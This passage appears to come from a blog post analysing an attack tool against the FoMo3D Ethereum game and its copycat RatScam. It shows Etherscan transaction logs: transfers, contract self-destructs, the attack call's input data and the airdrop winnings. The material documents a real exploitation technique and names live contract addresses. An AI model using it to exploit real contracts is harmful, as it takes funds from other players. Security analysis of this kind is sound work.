TRANSFER 0.114371821377859961 Ether From 0x86d179c28cceb120cd3f64930cf1820a88b77d60 To 0xf4fc5b0899a163a332b227d52ff77e51d78732dc
TRANSFER 0.114371821377859961 Ether From 0xf4fc5b0899a163a332b227d52ff77e51d78732dc To 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991
SELF DESTRUCT Contract 0xf4fc5b0899a163a332b227d52ff77e51d78732dcValue: 0 Ether ($0.00)
Transaction Fee: 0.0086204207 Ether ($1.30)
Gas Limit: 1,500,000
Gas Used by Transaction: 853,507 (56.9%)
Gas Price: 0.0000000101 Ether (10.1 Gwei)
Nonce Position 141 27
Input Data:
0x14fd4ccb
00000000000000000000000086d179c28cceb120cd3f64930cf1820a88b77d60
000000000000000000000000bc1483b3ea0408a0e33d5b0bfcd64c1eb6452991

This transaction won the airdrop prize 0.114371821377859961 Ethers.

Attacking Copycats such as RatScam

The attack tool is also effective on exploiting the copycats of the FoMo3D games. One copycat of the FoMo3D game is RatScam. Here is some information about the RatScam game.

contract address: 0x8a883a20940870Dc055F2070ac8eC847ed2d9918
contract creator: 0xc14f8469D4Bb31C8E69fae9c16E262f45edc3635
creation time: Jul-21-2018 07:31:37 PM +UTC
creation block: 6005657
total number of transactions: 9088
source code: https://etherscan.io/address/0x8a883a20940870dc055f2070ac8ec847ed2d9918#code

Here is a sample attack on the RatScam game by this attack tool.

Transaction Hash: 0x4c882f05ca0c3aae956a33700ec6a93d6035c51459ed67b2114f754791c7ce6e
Status: Success
Block: 6017866 3010773 Block Confirmations
Timestamp: 494 days 23 hrs ago (Jul-23-2018 08:51:03 PM +UTC)
From: 0x7f2f933ee22b802935449911fc8c7f35fb00409c
To: Contract 0xf890ae9fd0c77a5b2117ef47e214b3a89276b097
TRANSFER 0.1 Ether From 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991 To 0x948d1c7f5b11c98c8f83a15d13eddca35d871d5c
TRANSFER 0.1 Ether From 0x948d1c7f5b11c98c8f83a15d13eddca35d871d5c To 0x29b8e3cfce7abd35c33b1cb2a557c67296f9a7f6
TRANSFER 0.1 Ether From 0x29b8e3cfce7abd35c33b1cb2a557c67296f9a7f6 To 0x8a883a20940870dc055f2070ac8ec847ed2d9918
TRANSFER 0.015 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0
TRANSFER 0.015 Ether From 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0 To 0x474a9cd7b9030b02e07ca31807dbbb22625262c5
TRANSFER 0.104570330841368607 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x29b8e3cfce7abd35c33b1cb2a557c67296f9a7f6
TRANSFER 0.104570330841368607 Ether From 0x29b8e3cfce7abd35c33b1cb2a557c67296f9a7f6 To 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991
SELF DESTRUCT Contract 0x29b8e3cfce7abd35c33b1cb2a557c67296f9a7f6Value: 0 Ether ($0.00)
Transaction Fee: 0.0033850872 Ether ($0.51)
Gas Limit: 2,500,000
Gas Used by Transaction: 417,912 (16.72%)
Gas Price: 0.0000000081 Ether (8.1 Gwei)
Nonce Position 42 21
Input Data:
0x14fd4ccb
0000000000000000000000008a883a20940870dc055f2070ac8ec847ed2d9918
000000000000000000000000bc1483b3ea0408a0e33d5b0bfcd64c1eb6452991

This transaction won the airdrop prize of 0.104570330841368607 Ethers. So, the net gain for this attack is 0.004570330841368607 Ethers.

The transaction fee is 0.0033850872 Ethers.

References

--

--